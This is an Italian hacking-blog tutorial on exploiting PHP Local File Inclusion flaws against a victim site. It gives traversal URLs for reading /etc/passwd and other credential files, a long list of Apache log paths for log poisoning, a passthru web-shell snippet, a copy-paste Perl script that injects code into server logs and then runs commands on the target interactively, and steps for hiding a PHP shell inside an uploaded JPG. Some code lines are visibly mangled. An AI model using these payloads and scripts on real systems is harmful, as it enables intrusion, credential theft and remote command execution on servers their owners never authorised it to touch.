DISCLAIMER!

Le informazioni (e i download, quindi tutti i file contenuti nel blog) da me divulgate sono da ritenersi a puro scopo informativo e di studio. Non mi assumo nessuna responsabilità riguardante l'uso improprio e/o illecito delle tecniche e dei programmi qui descritti e di tutti i danni a cose e persone e/o perdite di guadagni che ne possano derivare. Il blog non vuole istigare nessuno a delinquere o a commettere reati. Le tecniche qui descritte sono da utilizzare a proprio rischio e pericolo.

Traduci Il Blog In




Cerca in Xthreme Hacking!

LFI - Local File Inclusion


Iniziamo analizzando il codice vulnerabile:

Codice:
 

$page $_GET[page];

include($page);
?>

Vedendo questo codice risalta subito la vulnerabilità. Ovvero la variabile $page che non è parsata dal PHP.
Detto questo andiamo a “osservare” il comportamento dei vari URL nel Browser della vittima.

Mettiamo caso di avere il file “test.php” nella directory “prova
.
Per visualizzarne il contenuto dovremmo visitare il link seguente:

Codice:
 
www.vittima.it/prova/test.php

In questo modo visualizzeremo il contenuto della pagina “test.php”.

Supponiamo ora che il codice vulnerabile prima visualizzato sia presente nella Index e che la pagina “test.php” sia recuperabile attraverso la Index:

Codice:
 
www.vittima.it/index.php?page=prova/test.php

In questo modo visualizzerete la pagina “test.php” contenuta nella directory “prova”.

Ora vediamo come recuperare una pagina che si trova in una differente directory.
Immaginiamo che la pagina che vogliamo recuperare si trovi in:

Codice:
 
www.vittima.org/test.php

 Mentre la Index si trovi in:

Codice:
 
www.vittima.org/prova/index.php

In questo caso faremmo cosi:

Codice:
 
www.vittima.org/prova/index.php?page=../test.php


Spieghiamo un po la sintassi:
"..” Servono per scalare la directory.
"../..” Servono per scalare più directory, ovvero aggiungeremo una slash ogni due puntini per saltare in un altra directory.

Ora abbiamo appreso come spostarci nelle directory.
Nel caso il Server risiedesse su Server Unix possiamo visualizzare la pagina con le password del Server.

Codice:
 
www.vittima.org/index.php?page=../../../../../../../etc/passwd

I “../..” variano a seconda di dove si trovi il file vulnerabile.

Se riuscite a vedere la pagina noterete che le password non sono visibili (perchè oscurate o per mancanza di permessi).
Visualizzereste una cosa del genere:

Codice:
 
Username:password:UID:GID:full_name:directory:shell

Ovvero:

Codice:
 
Mionome:miapassword:503:100:FullName:/home/nome:/bin/sh

La password oscurata dal server appare come "x", che significa che la password è codificata nella directory "/etc/shadow" che però è visualizzabile solo se si è root.
Ma è possibile visualizzare una cosa simile qualche volta:

Codice:
 
Usernane:!:503:100:FullName:/home/nomeutente:/bin/sh

Il punto esclamativo al posto della password sta a significare che la password è contenuta nella directory "etc/security/"
Nel caso non sia cosi potrete trovare la password nelle seguenti directory:

Codice:
 
/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

Ora vediamo un altro tipo di codice vulnerabile:

Codice:
 

$page $_GET["page"];

include("$page.php");
?>

In questo caso, alla fine del file si aggiunge ".php".
E questo verrà aggiunto a tutti i file che digiteremo nel browser.

Codice:
 
www.vittima.org/index.php?file=../../../../../../etc/password.php


(Notate il l'estensione del file)
Siccome probabilemente quel file non esiste, useremo il null byte:

00%

Che farà in modo di far ignorare al browser tutto quello che viene dopo di esso.


Altri modi di eseguire questa tecnica e quella di eseguire Comandi Sul Server iniettando codice PHP in HTTPD per poi provare ad accedere a essi tramite i LOG utilizzando la LFI.
I LOG li potete trovare in:

Codice:
 
../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_ log

../../../../../../../usr/local/apache/logs/access. log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_l og

../../../../../../../usr/local/apache/logs/error.l og

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log


Ora osserviamo i LOG trovati e vediamo cosa contengono.
In questo esempio si userà un LOG che memorizza "not found files" e il codice PHP

Codice:
 
passthru (\$_GET[cmd]) 
?>

Che precedentemente abbiamo inserito tramite Browser.
Questo potrebbe non funzionare perchè il Browser decodifica i caratteri speciali, e nel LOG troveremo:

Codice:
 
%3C?%20passthru(\$_GET[cmd])%20?>

Quindi in questo caso
 useremo uno Script scritto da d3fcrash:

Codice:
 
#!/usr/bin/perl -w

use IO::Socket;

use LWP::UserAgent;

$site="victim.com";

$path="/folder/";

$code="";

$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die

"\nConnection Failed.\n\n";

print $socket "GET ".$path.$code." HTTP/1.1\r\n";

print $socket "User-Agent: ".$code."\r\n";

print $socket "Host: ".$site."\r\n";

print $socket "Connection: close\r\n\r\n";

close($socket);

print "\nCode $code sucssefully injected in $log \n";

print "\nType command to run or exit to end: ";

$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die

"\nConnection Failed.\n\n";

   print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";

   print $socket "Host: ".$site."\r\n";

   print $socket "Accept: */*\r\n";

   print $socket "Connection: close\r\n\n";

   while ($show = <$socket>)

   {

      print $show;

   }

print "Type command to run or exit to end: ";

$cmd = ;

}

Fate un “Copia” e “Incolla” "whatever.pl"
Poi modificatelo dove ritenete sia giusto, e nel caso il sito sia vulnerabile vi chiderà di inserire un comando.

Local JPG Injection

Ultima cosa, ma non meno importante sarà quella di dare un occhiata su come il sito gestisce il
caricamento delle immagini.
E' necessario inserire il codice PHP che si desidera eseguire dentro l' immagine, per fare questo, basta usare un editor esadecimale preferito, o la possibiltà di utilizzare edjpgcom (tutto quello che dovete fare è cliccare sull' immagine con il tasto destro, selezionare Apri con..., selezionare l'immagine e digitare il codice).
Cosi avrete la vostra Shell.
Vi rimane di trovare  un form di Upload immagini, ed upparla nel server.

Dopo averlo trovato e aver caricato l'immagine trovate un errore (in modo da trovare il percorso del server):
Codice:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource

in /home/sitefolder/public_html/includes/view.php on line 37


Se non si riesce a creare questo errore tornare al file "etc/password":

Codice:
 
Username:miapassword:503:100:Fullname:/home/Username:/bin/sh

Di solito è cosi.
Ritorniamo alla nostra immagine, clicchiamo con il tasto destro del mouse su di essa, ed
annotiamoci il nome del percorso del file:

Codice:
 
www.vittima.it/index.php=../../../../../../home/the_other_site_dir_/public_html/path_to_youe_avatar/avatar.jpg

E se lanciamo dal browser la path esatta della immagine, vedremo il suo risultato:

Codice:
 
www.sitovittima.org/index.php=../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg.

Nessun commento:

Posta un commento